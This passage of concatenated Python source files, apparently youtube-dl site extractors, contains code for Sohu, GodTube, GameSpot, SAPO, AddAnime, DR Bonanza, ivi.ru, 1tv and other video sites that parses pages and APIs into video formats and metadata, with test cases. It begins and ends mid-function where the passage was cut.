            vid_id = compat_str(vid_id)
            formats_json[format_id] = vid_data if vid == vid_id else _fetch_data(vid_id, mytv)

        part_count = vid_data['data']['totalBlocks']

        playlist = []
        for i in range(part_count):
            formats = []
            for format_id, format_data in formats_json.items():
                allot = format_data['allot']

                data = format_data['data']
                clips_url = data['clipsURL']
                su = data['su']

                video_url = 'newflv.sohu.ccgslb.net'
                cdnId = None
                retries = 0

                while 'newflv.sohu.ccgslb.net' in video_url:
                    params = {
                        'prot': 9,
                        'file': clips_url[i],
                        'new': su[i],
                        'prod': 'flash',
                        'rb': 1,
                    }

                    if cdnId is not None:
                        params['idc'] = cdnId

                    download_note = 'Downloading %s video URL part %d of %d' % (
                        format_id, i + 1, part_count)

                    if retries > 0:
                        download_note += ' (retry #%d)' % retries
                    part_info = self._parse_json(self._download_webpage(
                        'http://%s/?%s' % (allot, compat_urllib_parse_urlencode(params)),
                        video_id, download_note), video_id)

                    video_url = part_info['url']
                    cdnId = part_info.get('nid')

                    retries += 1
                    if retries > 5:
                        raise ExtractorError('Failed to get video URL')

                formats.append({
                    'url': video_url,
                    'format_id': format_id,
                    'filesize': data['clipsBytes'][i],
                    'width': data['width'],
                    'height': data['height'],
                    'fps': data['fps'],
                })
            self._sort_formats(formats)

            playlist.append({
                'id': '%s_part%d' % (video_id, i + 1),
                'title': title,
                'duration': vid_data['data']['clipsDuration'][i],
                'formats': formats,
            })

        if len(playlist) == 1:
            info = playlist[0]
            info['id'] = video_id
        else:
            info = {
                '_type': 'multi_video',
                'entries': playlist,
                'id': video_id,
                'title': title,
            }

        return info






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
)


class GodTubeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?godtube\.com/watch/\?v=(?P<id>[\da-zA-Z]+)'
    _TESTS = [
        {
            'url': 'https://www.godtube.com/watch/?v=0C0CNNNU',
            'md5': '77108c1e4ab58f48031101a1a2119789',
            'info_dict': {
                'id': '0C0CNNNU',
                'ext': 'mp4',
                'title': 'Woman at the well.',
                'duration': 159,
                'timestamp': 1205712000,
                'uploader': 'beverlybmusic',
                'upload_date': '20080317',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        config = self._download_xml(
            'http://www.godtube.com/resource/mediaplayer/%s.xml' % video_id.lower(),
            video_id, 'Downloading player config XML')

        video_url = config.find('file').text
        uploader = config.find('author').text
        timestamp = parse_iso8601(config.find('date').text)
        duration = parse_duration(config.find('duration').text)
        thumbnail = config.find('image').text

        media = self._download_xml(
            'http://www.godtube.com/media/xml/?v=%s' % video_id, video_id, 'Downloading media XML')

        title = media.find('title').text

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'uploader': uploader,
            'duration': duration,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    parse_duration,
    remove_start,
)


class GamersydeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gamersyde\.com/hqstream_(?P<display_id>[\da-z_]+)-(?P<id>\d+)_[a-z]{2}\.html'
    _TEST = {
        'url': 'http://www.gamersyde.com/hqstream_bloodborne_birth_of_a_hero-34371_en.html',
        'md5': 'f38d400d32f19724570040d5ce3a505f',
        'info_dict': {
            'id': '34371',
            'ext': 'mp4',
            'duration': 372,
            'title': 'Bloodborne - Birth of a hero',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        playlist = self._parse_json(
            self._search_regex(
                r'(?s)playlist: \[({.+?})\]\s*}\);', webpage, 'files'),
            display_id, transform_source=js_to_json)

        formats = []
        for source in playlist['sources']:
            video_url = source.get('file')
            if not video_url:
                continue
            format_id = source.get('label')
            f = {
                'url': video_url,
                'format_id': format_id,
            }
            m = re.search(r'^(?P<height>\d+)[pP](?P<fps>\d+)fps', format_id)
            if m:
                f.update({
                    'height': int(m.group('height')),
                    'fps': int(m.group('fps')),
                })
            formats.append(f)
        self._sort_formats(formats)

        title = remove_start(playlist['title'], '%s - ' % video_id)
        thumbnail = playlist.get('image')
        duration = parse_duration(self._search_regex(
            r'Length:</label>([^<]+)<', webpage, 'duration', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .once import OnceIE
from ..compat import (
    compat_urllib_parse_unquote,
)
from ..utils import (
    unescapeHTML,
    url_basename,
    dict_get,
)


class GameSpotIE(OnceIE):
    _VALID_URL = r'https?://(?:www\.)?gamespot\.com/.*-(?P<id>\d+)/?'
    _TESTS = [{
        'url': 'http://www.gamespot.com/videos/arma-3-community-guide-sitrep-i/2300-6410818/',
        'md5': 'b2a30deaa8654fcccd43713a6b6a4825',
        'info_dict': {
            'id': 'gs-2300-6410818',
            'ext': 'mp4',
            'title': 'Arma 3 - Community Guide: SITREP I',
            'description': 'Check out this video where some of the basics of Arma 3 is explained.',
        },
    }, {
        'url': 'http://www.gamespot.com/videos/the-witcher-3-wild-hunt-xbox-one-now-playing/2300-6424837/',
        'info_dict': {
            'id': 'gs-2300-6424837',
            'ext': 'mp4',
            'title': 'Now Playing - The Witcher 3: Wild Hunt',
            'description': 'Join us as we take a look at the early hours of The Witcher 3: Wild Hunt and more.',
        },
        'params': {
            'skip_download': True,  # m3u8 downloads
        },
    }]

    def _real_extract(self, url):
        page_id = self._match_id(url)
        webpage = self._download_webpage(url, page_id)
        data_video_json = self._search_regex(
            r'data-video=["\'](.*?)["\']', webpage, 'data video')
        data_video = self._parse_json(unescapeHTML(data_video_json), page_id)
        streams = data_video['videoStreams']

        manifest_url = None
        formats = []
        f4m_url = streams.get('f4m_stream')
        if f4m_url:
            manifest_url = f4m_url
            formats.extend(self._extract_f4m_formats(
                f4m_url + '?hdcore=3.7.0', page_id, f4m_id='hds', fatal=False))
        m3u8_url = streams.get('m3u8_stream')
        if m3u8_url:
            manifest_url = m3u8_url
            m3u8_formats = self._extract_m3u8_formats(
                m3u8_url, page_id, 'mp4', 'm3u8_native',
                m3u8_id='hls', fatal=False)
            formats.extend(m3u8_formats)
        progressive_url = dict_get(
            streams, ('progressive_hd', 'progressive_high', 'progressive_low'))
        if progressive_url and manifest_url:
            qualities_basename = self._search_regex(
                '/([^/]+)\.csmil/',
                manifest_url, 'qualities basename', default=None)
            if qualities_basename:
                QUALITIES_RE = r'((,\d+)+,?)'
                qualities = self._search_regex(
                    QUALITIES_RE, qualities_basename,
                    'qualities', default=None)
                if qualities:
                    qualities = list(map(lambda q: int(q), qualities.strip(',').split(',')))
                    qualities.sort()
                    http_template = re.sub(QUALITIES_RE, r'%d', qualities_basename)
                    http_url_basename = url_basename(progressive_url)
                    if m3u8_formats:
                        self._sort_formats(m3u8_formats)
                        m3u8_formats = list(filter(
                            lambda f: f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
                            m3u8_formats))
                    if len(qualities) == len(m3u8_formats):
                        for q, m3u8_format in zip(qualities, m3u8_formats):
                            f = m3u8_format.copy()
                            f.update({
                                'url': progressive_url.replace(
                                    http_url_basename, http_template % q),
                                'format_id': f['format_id'].replace('hls', 'http'),
                                'protocol': 'http',
                            })
                            formats.append(f)
                    else:
                        for q in qualities:
                            formats.append({
                                'url': progressive_url.replace(
                                    http_url_basename, http_template % q),
                                'ext': 'mp4',
                                'format_id': 'http-%d' % q,
                                'tbr': q,
                            })

        onceux_json = self._search_regex(
            r'data-onceux-options=["\'](.*?)["\']', webpage, 'data video', default=None)
        if onceux_json:
            onceux_url = self._parse_json(unescapeHTML(onceux_json), page_id).get('metadataUri')
            if onceux_url:
                formats.extend(self._extract_once_formats(re.sub(
                    r'https?://[^/]+', 'http://once.unicornmedia.com', onceux_url).replace('ads/vmap/', '')))

        if not formats:
            for quality in ['sd', 'hd']:
                # It's actually a link to a flv file
                flv_url = streams.get('f4m_{0}'.format(quality))
                if flv_url is not None:
                    formats.append({
                        'url': flv_url,
                        'ext': 'flv',
                        'format_id': quality,
                    })
        self._sort_formats(formats)

        return {
            'id': data_video['guid'],
            'display_id': page_id,
            'title': compat_urllib_parse_unquote(data_video['title']),
            'formats': formats,
            'description': self._html_search_meta('description', webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    unified_strdate,
)


class SapoIE(InfoExtractor):
    IE_DESC = 'SAPO Vídeos'
    _VALID_URL = r'https?://(?:(?:v2|www)\.)?videos\.sapo\.(?:pt|cv|ao|mz|tl)/(?P<id>[\da-zA-Z]{20})'

    _TESTS = [
        {
            'url': 'http://videos.sapo.pt/UBz95kOtiWYUMTA5Ghfi',
            'md5': '79ee523f6ecb9233ac25075dee0eda83',
            'note': 'SD video',
            'info_dict': {
                'id': 'UBz95kOtiWYUMTA5Ghfi',
                'ext': 'mp4',
                'title': 'Benfica - Marcas na Hitória',
                'description': 'md5:c9082000a128c3fd57bf0299e1367f22',
                'duration': 264,
                'uploader': 'tiago_1988',
                'upload_date': '20080229',
                'categories': ['benfica', 'cabral', 'desporto', 'futebol', 'geovanni', 'hooijdonk', 'joao', 'karel', 'lisboa', 'miccoli'],
            },
        },
        {
            'url': 'http://videos.sapo.pt/IyusNAZ791ZdoCY5H5IF',
            'md5': '90a2f283cfb49193fe06e861613a72aa',
            'note': 'HD video',
            'info_dict': {
                'id': 'IyusNAZ791ZdoCY5H5IF',
                'ext': 'mp4',
                'title': 'Codebits VII - Report',
                'description': 'md5:6448d6fd81ce86feac05321f354dbdc8',
                'duration': 144,
                'uploader': 'codebits',
                'upload_date': '20140427',
                'categories': ['codebits', 'codebits2014'],
            },
        },
        {
            'url': 'http://v2.videos.sapo.pt/yLqjzPtbTimsn2wWBKHz',
            'md5': 'e5aa7cc0bdc6db9b33df1a48e49a15ac',
            'note': 'v2 video',
            'info_dict': {
                'id': 'yLqjzPtbTimsn2wWBKHz',
                'ext': 'mp4',
                'title': 'Hipnose Condicionativa 4',
                'description': 'md5:ef0481abf8fb4ae6f525088a6dadbc40',
                'duration': 692,
                'uploader': 'sapozen',
                'upload_date': '20090609',
                'categories': ['condicionativa', 'heloisa', 'hipnose', 'miranda', 'sapo', 'zen'],
            },
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        item = self._download_xml(
            'http://rd3.videos.sapo.pt/%s/rss2' % video_id, video_id).find('./channel/item')

        title = item.find('./title').text
        description = item.find('./{http://videos.sapo.pt/mrss/}synopse').text
        thumbnail = item.find('./{http://search.yahoo.com/mrss/}content').get('url')
        duration = parse_duration(item.find('./{http://videos.sapo.pt/mrss/}time').text)
        uploader = item.find('./{http://videos.sapo.pt/mrss/}author').text
        upload_date = unified_strdate(item.find('./pubDate').text)
        view_count = int(item.find('./{http://videos.sapo.pt/mrss/}views').text)
        comment_count = int(item.find('./{http://videos.sapo.pt/mrss/}comment_count').text)
        tags = item.find('./{http://videos.sapo.pt/mrss/}tags').text
        categories = tags.split() if tags else []
        age_limit = 18 if item.find('./{http://videos.sapo.pt/mrss/}m18').text == 'true' else 0

        video_url = item.find('./{http://videos.sapo.pt/mrss/}videoFile').text
        video_size = item.find('./{http://videos.sapo.pt/mrss/}videoSize').text.split('x')

        formats = [{
            'url': video_url,
            'ext': 'mp4',
            'format_id': 'sd',
            'width': int(video_size[0]),
            'height': int(video_size[1]),
        }]

        if item.find('./{http://videos.sapo.pt/mrss/}HD').text == 'true':
            formats.append({
                'url': re.sub(r'/mov/1$', '/mov/39', video_url),
                'ext': 'mp4',
                'format_id': 'hd',
                'width': 1280,
                'height': 720,
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'uploader': uploader,
            'upload_date': upload_date,
            'view_count': view_count,
            'comment_count': comment_count,
            'categories': categories,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_str,
    compat_urllib_parse_urlencode,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    qualities,
)


class AddAnimeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:\w+\.)?add-anime\.net/(?:watch_video\.php\?(?:.*?)v=|video/)(?P<id>[\w_]+)'
    _TESTS = [{
        'url': 'http://www.add-anime.net/watch_video.php?v=24MR3YO5SAS9',
        'md5': '72954ea10bc979ab5e2eb288b21425a0',
        'info_dict': {
            'id': '24MR3YO5SAS9',
            'ext': 'mp4',
            'description': 'One Piece 606',
            'title': 'One Piece 606',
        }
    }, {
        'url': 'http://add-anime.net/video/MDUGWYKNGBD8/One-Piece-687',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        try:
            webpage = self._download_webpage(url, video_id)
        except ExtractorError as ee:
            if not isinstance(ee.cause, compat_HTTPError) or \
               ee.cause.code != 503:
                raise

            redir_webpage = ee.cause.read().decode('utf-8')
            action = self._search_regex(
                r'<form id="challenge-form" action="([^"]+)"',
                redir_webpage, 'Redirect form')
            vc = self._search_regex(
                r'<input type="hidden" name="jschl_vc" value="([^"]+)"/>',
                redir_webpage, 'redirect vc value')
            av = re.search(
                r'a\.value = ([0-9]+)[+]([0-9]+)[*]([0-9]+);',
                redir_webpage)
            if av is None:
                raise ExtractorError('Cannot find redirect math task')
            av_res = int(av.group(1)) + int(av.group(2)) * int(av.group(3))

            parsed_url = compat_urllib_parse_urlparse(url)
            av_val = av_res + len(parsed_url.netloc)
            confirm_url = (
                parsed_url.scheme + '://' + parsed_url.netloc +
                action + '?' +
                compat_urllib_parse_urlencode({
                    'jschl_vc': vc, 'jschl_answer': compat_str(av_val)}))
            self._download_webpage(
                confirm_url, video_id,
                note='Confirming after redirect')
            webpage = self._download_webpage(url, video_id)

        FORMATS = ('normal', 'hq')
        quality = qualities(FORMATS)
        formats = []
        for format_id in FORMATS:
            rex = r"var %s_video_file = '(.*?)';" % re.escape(format_id)
            video_url = self._search_regex(rex, webpage, 'video file URLx',
                                           fatal=False)
            if not video_url:
                continue
            formats.append({
                'format_id': format_id,
                'url': video_url,
                'quality': quality(format_id),
            })
        self._sort_formats(formats)
        video_title = self._og_search_title(webpage)
        video_description = self._og_search_description(webpage)

        return {
            '_type': 'video',
            'id': video_id,
            'formats': formats,
            'title': video_title,
            'description': video_description
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class DRBonanzaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dr\.dk/bonanza/(?:[^/]+/)+(?:[^/])+?(?:assetId=(?P<id>\d+))?(?:[#&]|$)'

    _TESTS = [{
        'url': 'http://www.dr.dk/bonanza/serie/portraetter/Talkshowet.htm?assetId=65517',
        'info_dict': {
            'id': '65517',
            'ext': 'mp4',
            'title': 'Talkshowet - Leonard Cohen',
            'description': 'md5:8f34194fb30cd8c8a30ad8b27b70c0ca',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
            'timestamp': 1295537932,
            'upload_date': '20110120',
            'duration': 3664,
        },
        'params': {
            'skip_download': True,  # requires rtmp
        },
    }, {
        'url': 'http://www.dr.dk/bonanza/radio/serie/sport/fodbold.htm?assetId=59410',
        'md5': '6dfe039417e76795fb783c52da3de11d',
        'info_dict': {
            'id': '59410',
            'ext': 'mp3',
            'title': 'EM fodbold 1992 Danmark - Tyskland finale Transmission',
            'description': 'md5:501e5a195749480552e214fbbed16c4e',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
            'timestamp': 1223274900,
            'upload_date': '20081006',
            'duration': 7369,
        },
    }]

    def _real_extract(self, url):
        url_id = self._match_id(url)
        webpage = self._download_webpage(url, url_id)

        if url_id:
            info = json.loads(self._html_search_regex(r'({.*?%s.*})' % url_id, webpage, 'json'))
        else:
            # Just fetch the first video on that page
            info = json.loads(self._html_search_regex(r'bonanzaFunctions.newPlaylist\(({.*})\)', webpage, 'json'))

        asset_id = str(info['AssetId'])
        title = info['Title'].rstrip(' \'\"-,.:;!?')
        duration = int_or_none(info.get('Duration'), scale=1000)
        # First published online. "FirstPublished" contains the date for original airing.
        timestamp = parse_iso8601(
            re.sub(r'\.\d+$', '', info['Created']))

        def parse_filename_info(url):
            match = re.search(r'/\d+_(?P<width>\d+)x(?P<height>\d+)x(?P<bitrate>\d+)K\.(?P<ext>\w+)$', url)
            if match:
                return {
                    'width': int(match.group('width')),
                    'height': int(match.group('height')),
                    'vbr': int(match.group('bitrate')),
                    'ext': match.group('ext')
                }
            match = re.search(r'/\d+_(?P<bitrate>\d+)K\.(?P<ext>\w+)$', url)
            if match:
                return {
                    'vbr': int(match.group('bitrate')),
                    'ext': match.group(2)
                }
            return {}

        video_types = ['VideoHigh', 'VideoMid', 'VideoLow']
        preferencemap = {
            'VideoHigh': -1,
            'VideoMid': -2,
            'VideoLow': -3,
            'Audio': -4,
        }

        formats = []
        for file in info['Files']:
            if info['Type'] == 'Video':
                if file['Type'] in video_types:
                    format = parse_filename_info(file['Location'])
                    format.update({
                        'url': file['Location'],
                        'format_id': file['Type'].replace('Video', ''),
                        'preference': preferencemap.get(file['Type'], -10),
                    })
                    if format['url'].startswith('rtmp'):
                        rtmp_url = format['url']
                        format['rtmp_live'] = True  # --resume does not work
                        if '/bonanza/' in rtmp_url:
                            format['play_path'] = rtmp_url.split('/bonanza/')[1]
                    formats.append(format)
                elif file['Type'] == 'Thumb':
                    thumbnail = file['Location']
            elif info['Type'] == 'Audio':
                if file['Type'] == 'Audio':
                    format = parse_filename_info(file['Location'])
                    format.update({
                        'url': file['Location'],
                        'format_id': file['Type'],
                        'vcodec': 'none',
                    })
                    formats.append(format)
                elif file['Type'] == 'Thumb':
                    thumbnail = file['Location']

        description = '%s\n%s\n%s\n' % (
            info['Description'], info['Actors'], info['Colophon'])

        self._sort_formats(formats)

        display_id = re.sub(r'[^\w\d-]', '', re.sub(r' ', '-', title.lower())) + '-' + asset_id
        display_id = re.sub(r'-+', '-', display_id)

        return {
            'id': asset_id,
            'display_id': display_id,
            'title': title,
            'formats': formats,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class XNXXIE(InfoExtractor):
    _VALID_URL = r'https?://(?:video|www)\.xnxx\.com/video-?(?P<id>[0-9a-z]+)/'
    _TESTS = [{
        'url': 'http://www.xnxx.com/video-55awb78/skyrim_test_video',
        'md5': 'ef7ecee5af78f8b03dca2cf31341d3a0',
        'info_dict': {
            'id': '55awb78',
            'ext': 'flv',
            'title': 'Skyrim Test Video',
            'age_limit': 18,
        },
    }, {
        'url': 'http://video.xnxx.com/video1135332/lida_naked_funny_actress_5_',
        'only_matching': True,
    }, {
        'url': 'http://www.xnxx.com/video-55awb78/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_url = self._search_regex(r'flv_url=(.*?)&amp;',
                                       webpage, 'video URL')
        video_url = compat_urllib_parse_unquote(video_url)

        video_title = self._html_search_regex(r'<title>(.*?)\s+-\s+XNXX.COM',
                                              webpage, 'title')

        video_thumbnail = self._search_regex(r'url_bigthumb=(.*?)&amp;',
                                             webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'ext': 'flv',
            'thumbnail': video_thumbnail,
            'age_limit': 18,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    find_xpath_attr,
    fix_xml_ampersands
)


class ClipsyndicateIE(InfoExtractor):
    _VALID_URL = r'https?://(?:chic|www)\.clipsyndicate\.com/video/play(list/\d+)?/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.clipsyndicate.com/video/play/4629301/brick_briscoe',
        'md5': '4d7d549451bad625e0ff3d7bd56d776c',
        'info_dict': {
            'id': '4629301',
            'ext': 'mp4',
            'title': 'Brick Briscoe',
            'duration': 612,
            'thumbnail': 're:^https?://.+\.jpg',
        },
    }, {
        'url': 'http://chic.clipsyndicate.com/video/play/5844117/shark_attack',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        js_player = self._download_webpage(
            'http://eplayer.clipsyndicate.com/embed/player.js?va_id=%s' % video_id,
            video_id, 'Downlaoding player')
        # it includes a required token
        flvars = self._search_regex(r'flvars: "(.*?)"', js_player, 'flvars')

        pdoc = self._download_xml(
            'http://eplayer.clipsyndicate.com/osmf/playlist?%s' % flvars,
            video_id, 'Downloading video info',
            transform_source=fix_xml_ampersands)

        track_doc = pdoc.find('trackList/track')

        def find_param(name):
            node = find_xpath_attr(track_doc, './/param', 'name', name)
            if node is not None:
                return node.attrib['value']

        return {
            'id': video_id,
            'title': find_param('title'),
            'url': track_doc.find('location').text,
            'thumbnail': find_param('thumbnail'),
            'duration': int(find_param('duration')),
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    qualities,
)


class IviIE(InfoExtractor):
    IE_DESC = 'ivi.ru'
    IE_NAME = 'ivi'
    _VALID_URL = r'https?://(?:www\.)?ivi\.ru/(?:watch/(?:[^/]+/)?|video/player\?.*?videoId=)(?P<id>\d+)'

    _TESTS = [
        # Single movie
        {
            'url': 'http://www.ivi.ru/watch/53141',
            'md5': '6ff5be2254e796ed346251d117196cf4',
            'info_dict': {
                'id': '53141',
                'ext': 'mp4',
                'title': 'Иван Васильевич меняет профессию',
                'description': 'md5:b924063ea1677c8fe343d8a72ac2195f',
                'duration': 5498,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'skip': 'Only works from Russia',
        },
        # Serial's series
        {
            'url': 'http://www.ivi.ru/watch/dvoe_iz_lartsa/9549',
            'md5': '221f56b35e3ed815fde2df71032f4b3e',
            'info_dict': {
                'id': '9549',
                'ext': 'mp4',
                'title': 'Двое из ларца - Дело Гольдберга (1 часть)',
                'series': 'Двое из ларца',
                'season': 'Сезон 1',
                'season_number': 1,
                'episode': 'Дело Гольдберга (1 часть)',
                'episode_number': 1,
                'duration': 2655,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'skip': 'Only works from Russia',
        },
        {
            # with MP4-HD720 format
            'url': 'http://www.ivi.ru/watch/146500',
            'md5': 'd63d35cdbfa1ea61a5eafec7cc523e1e',
            'info_dict': {
                'id': '146500',
                'ext': 'mp4',
                'title': 'Кукла',
                'description': 'md5:ffca9372399976a2d260a407cc74cce6',
                'duration': 5599,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'skip': 'Only works from Russia',
        }
    ]

    # Sorted by quality
    _KNOWN_FORMATS = (
        'MP4-low-mobile', 'MP4-mobile', 'FLV-lo', 'MP4-lo', 'FLV-hi', 'MP4-hi',
        'MP4-SHQ', 'MP4-HD720', 'MP4-HD1080')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        data = {
            'method': 'da.content.get',
            'params': [
                video_id, {
                    'site': 's183',
                    'referrer': 'http://www.ivi.ru/watch/%s' % video_id,
                    'contentid': video_id
                }
            ]
        }

        video_json = self._download_json(
            'http://api.digitalaccess.ru/api/json/', video_id,
            'Downloading video JSON', data=json.dumps(data))

        if 'error' in video_json:
            error = video_json['error']
            if error['origin'] == 'NoRedisValidData':
                raise ExtractorError('Video %s does not exist' % video_id, expected=True)
            raise ExtractorError(
                'Unable to download video %s: %s' % (video_id, error['message']),
                expected=True)

        result = video_json['result']

        quality = qualities(self._KNOWN_FORMATS)

        formats = [{
            'url': x['url'],
            'format_id': x.get('content_format'),
            'quality': quality(x.get('content_format')),
        } for x in result['files'] if x.get('url')]

        self._sort_formats(formats)

        title = result['title']

        duration = int_or_none(result.get('duration'))
        compilation = result.get('compilation')
        episode = title if compilation else None

        title = '%s - %s' % (compilation, title) if compilation is not None else title

        thumbnails = [{
            'url': preview['url'],
            'id': preview.get('content_format'),
        } for preview in result.get('preview', []) if preview.get('url')]

        webpage = self._download_webpage(url, video_id)

        season = self._search_regex(
            r'<li[^>]+class="season active"[^>]*><a[^>]+>([^<]+)',
            webpage, 'season', default=None)
        season_number = int_or_none(self._search_regex(
            r'<li[^>]+class="season active"[^>]*><a[^>]+data-season(?:-index)?="(\d+)"',
            webpage, 'season number', default=None))

        episode_number = int_or_none(self._search_regex(
            r'[^>]+itemprop="episode"[^>]*>\s*<meta[^>]+itemprop="episodeNumber"[^>]+content="(\d+)',
            webpage, 'episode number', default=None))

        description = self._og_search_description(webpage, default=None) or self._html_search_meta(
            'description', webpage, 'description', default=None)

        return {
            'id': video_id,
            'title': title,
            'series': compilation,
            'season': season,
            'season_number': season_number,
            'episode': episode,
            'episode_number': episode_number,
            'thumbnails': thumbnails,
            'description': description,
            'duration': duration,
            'formats': formats,
        }


class IviCompilationIE(InfoExtractor):
    IE_DESC = 'ivi.ru compilations'
    IE_NAME = 'ivi:compilation'
    _VALID_URL = r'https?://(?:www\.)?ivi\.ru/watch/(?!\d+)(?P<compilationid>[a-z\d_-]+)(?:/season(?P<seasonid>\d+))?$'
    _TESTS = [{
        'url': 'http://www.ivi.ru/watch/dvoe_iz_lartsa',
        'info_dict': {
            'id': 'dvoe_iz_lartsa',
            'title': 'Двое из ларца (2006 - 2008)',
        },
        'playlist_mincount': 24,
    }, {
        'url': 'http://www.ivi.ru/watch/dvoe_iz_lartsa/season1',
        'info_dict': {
            'id': 'dvoe_iz_lartsa/season1',
            'title': 'Двое из ларца (2006 - 2008) 1 сезон',
        },
        'playlist_mincount': 12,
    }]

    def _extract_entries(self, html, compilation_id):
        return [
            self.url_result(
                'http://www.ivi.ru/watch/%s/%s' % (compilation_id, serie), IviIE.ie_key())
            for serie in re.findall(
                r'<a href="/watch/%s/(\d+)"[^>]+data-id="\1"' % compilation_id, html)]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        compilation_id = mobj.group('compilationid')
        season_id = mobj.group('seasonid')

        if season_id is not None:  # Season link
            season_page = self._download_webpage(
                url, compilation_id, 'Downloading season %s web page' % season_id)
            playlist_id = '%s/season%s' % (compilation_id, season_id)
            playlist_title = self._html_search_meta('title', season_page, 'title')
            entries = self._extract_entries(season_page, compilation_id)
        else:  # Compilation link
            compilation_page = self._download_webpage(url, compilation_id, 'Downloading compilation web page')
            playlist_id = compilation_id
            playlist_title = self._html_search_meta('title', compilation_page, 'title')
            seasons = re.findall(
                r'<a href="/watch/%s/season(\d+)' % compilation_id, compilation_page)
            if not seasons:  # No seasons in this compilation
                entries = self._extract_entries(compilation_page, compilation_id)
            else:
                entries = []
                for season_id in seasons:
                    season_page = self._download_webpage(
                        'http://www.ivi.ru/watch/%s/season%s' % (compilation_id, season_id),
                        compilation_id, 'Downloading season %s web page' % season_id)
                    entries.extend(self._extract_entries(season_page, compilation_id))

        return self.playlist_result(entries, playlist_id, playlist_title)






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    qualities,
    unified_strdate,
)


class FirstTVIE(InfoExtractor):
    IE_NAME = '1tv'
    IE_DESC = 'Первый канал'
    _VALID_URL = r'https?://(?:www\.)?1tv\.ru/(?:[^/]+/)+(?P<id>[^/?#]+)'

    _TESTS = [{
        # single format
        'url': 'http://www.1tv.ru/shows/naedine-so-vsemi/vypuski/gost-lyudmila-senchina-naedine-so-vsemi-vypusk-ot-12-02-2015',
        'md5': 'a1b6b60d530ebcf8daacf4565762bbaf',
        'info_dict': {
            'id': '40049',
            'ext': 'mp4',
            'title': 'Гость Людмила Сенчина. Наедине со всеми. Выпуск от 12.02.2015',
            'description': 'md5:36a39c1d19618fec57d12efe212a8370',
            'thumbnail': 're:^https?://.*\.(?:jpg|JPG)$',
            'upload_date': '20150212',
            'duration': 2694,
        },
    }, {
        # multiple formats
        'url': 'http://www.1tv.ru/shows/dobroe-utro/pro-zdorove/vesennyaya-allergiya-dobroe-utro-fragment-vypuska-ot-07042016',
        'info_dict': {
            'id': '364746',
            'ext': 'mp4',
            'title': 'Весенняя аллергия. Доброе утро. Фрагмент выпуска от 07.04.2016',
            'description': 'md5:a242eea0031fd180a4497d52640a9572',
            'thumbnail': 're:^https?://.*\.(?:jpg|JPG)$',
            'upload_date': '20160407',
            'duration': 179,
            'formats': 'mincount:3',
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)
        playlist_url = compat_urlparse.urljoin(url, self._search_regex(
            r'data-playlist-url="([^"]+)', webpage, 'playlist url'))

        item = self._download_json(playlist_url, display_id)[0]
        video_id = item['id']
        quality = qualities(('ld', 'sd', 'hd', ))
        formats = []
        for f in item.get('mbr', []):
            src = f.get('src')
            if not src:
                continue
            fname = f.get('name')
            formats.append({
                'url': src,
                'format_id': fname,
                'quality': quality(fname),
            })
        self._sort_formats(formats)

        title = self._html_search_regex(
            (r'<div class="tv_translation">\s*<h1><a href="[^"]+">([^<]*)</a>',
             r"'title'\s*:\s*'([^']+)'"),
            webpage, 'title', default=None) or item['title']
        description = self._html_search_regex(
            r'<div class="descr">\s*<div>&nbsp;</div>\s*<p>([^<]*)</p></div>',
